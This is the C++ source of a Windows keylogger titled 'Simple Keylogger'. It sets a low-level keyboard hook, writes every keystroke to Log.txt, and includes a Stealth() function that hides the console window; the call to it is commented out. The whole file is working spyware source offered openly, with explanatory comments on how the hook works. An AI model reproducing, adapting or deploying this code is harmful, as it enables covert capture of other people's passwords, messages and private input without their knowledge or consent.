Simple Keylogger

#include <iostream>
#include <Windows.h>
#include <cstdio> // be able to open file

// File pointer
FILE *OUTPUT_FILE;

using namespace std;

void save(DWORD vkcode);
void Stealth();
void SetHook();
void ReleaseHook();

// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam){
    //cout << "Inside this thing" << endl;
    if (nCode >= 0)
    {
        // the action is valid: HC_ACTION.
        if (wParam == WM_KEYDOWN)
        {
            // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);

            save(kbdStruct.vkCode);

            // a key (non-system) is pressed.
            /*if (kbdStruct.vkCode == VK_DECIMAL)
            {
                // F1 is pressed!
                MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
            }*/
        }
    }

    // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void save(DWORD key_stroke){
    if(key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if(key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if(key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if(key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if(key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if(key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if(key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if(key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if(key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if(key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if(key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if(key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if(key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if((key_stroke == 190) || (key_stroke == 110))
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
}

void Stealth(){
    // Hide window
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth,0);
}

void SetHook()
{
    // Set the hook and set it to use the callback function above
    // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
    // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
    // function that sets and releases the hook. If you create a hack you will not need the callback function
    // in another place then your own code file anyway. Read more about it at MSDN.
    if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
    {
        MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
    }
}

void ReleaseHook()
{
    UnhookWindowsHookEx(_hook);
}

int main()
{
    // Set the hook
    SetHook();

    //If I call Stealth() it wont record keystrokes
    //Stealth();

    // Open file to put characters in
    OUTPUT_FILE = fopen("Log.txt", "a+");

    // Don't mind this, it is a meaningless loop to keep a console application running.
    // I used this to test the keyboard hook functionality. If you want to test it, keep it in ;)
    MSG msg;

    while (GetMessage(&msg, NULL, 0, 0)){
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}